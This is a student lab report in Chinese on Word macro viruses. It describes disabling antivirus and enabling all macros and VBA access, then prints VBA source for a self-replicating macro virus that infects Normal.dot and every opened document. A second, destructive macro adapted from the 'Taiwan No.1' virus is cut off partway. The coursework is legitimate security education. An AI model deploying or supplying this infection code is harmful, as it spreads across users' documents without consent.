计算机病毒实验..docVIP

计算机病毒与防范技术 学院：信息技术学院 班级：B1104 学号：0913110416 姓名：何家红 计算机宏病毒分析及清除实验 一、实验目的 1.了解“宏病毒”机理。 2.掌握清除宏病毒的方法。 3.掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 1.Windows XP操作系统。 2.Office Word 2010字处理软件。 三、实验要求 1.宏的编写。 2.理解宏病毒的作用机制。 四、实验内容与步骤： 1．软件设置 首先检查电脑里杀毒软件是否开启，如果开启需要关闭它。然后打开一个word文档（我直接打开的“计算机宏病毒分析及清除实验”），依次单击“文件”——“选项”，然后在弹出的“word选项”对话框中单击“信任中心”，然后再单击“信任中心设置”——“宏设置”。选择“启用所有宏”，“信任对VBA工程对象模型的访问”。 2．宏病毒实现自我复制功能 打开一个word文档（我打开的“计算机宏病毒分析及清除实验”），然后按Alt+F11调用宏编写窗口,在左侧菜单栏中依次单击“project（计算机宏病毒分析及清除实验）”—“Microsoft Word对象”—“ThisDocument”，在这里输入实验代码单击“保存”，这时该文档就含有了宏病毒，然后单击“执行”，就立刻弹出一个窗口，第二次打开该文档，就自动执行以上代码，并将自身复制到Normal.dot和当前文档的ThisDocument中，此时所有的word文档关闭时，都将运行以上的病毒代码，产生影响。我又新建立了一个名字为“111”的word文档，打开后关闭就弹出一个提示框。代码如下： Macro-1：Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host If .Lines(1, 1) Micro-Virus Then .DeleteLines 1, .CountOfLines .InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 2, Sub Document_Close() If ThisDocument = NormalTemplate Then .ReplaceLine 2, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox B1104-何家红-16 End Sub 结果显示如下： 上图为复制完代码保存后，单击执行的结果图 上图为模板被感染病毒的结果图 上图为新建文档“111”被感染病毒结果图 3．具有一定破坏性的宏 本程序是以著名宏病毒“台湾一号”的恶意代码部分为基础，对源代码进行了适当的修改，这样降低了破坏性，否则实验室机器将受到严重影响。它的环境和操作方法与上面的相同。代码如下： Macro_2：moonlight Dim nm(4) Sub Document_Open() DisableInput 1 Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host If .Lines(1, 1) moonlight Then .DeleteLines 1, .CountOfLines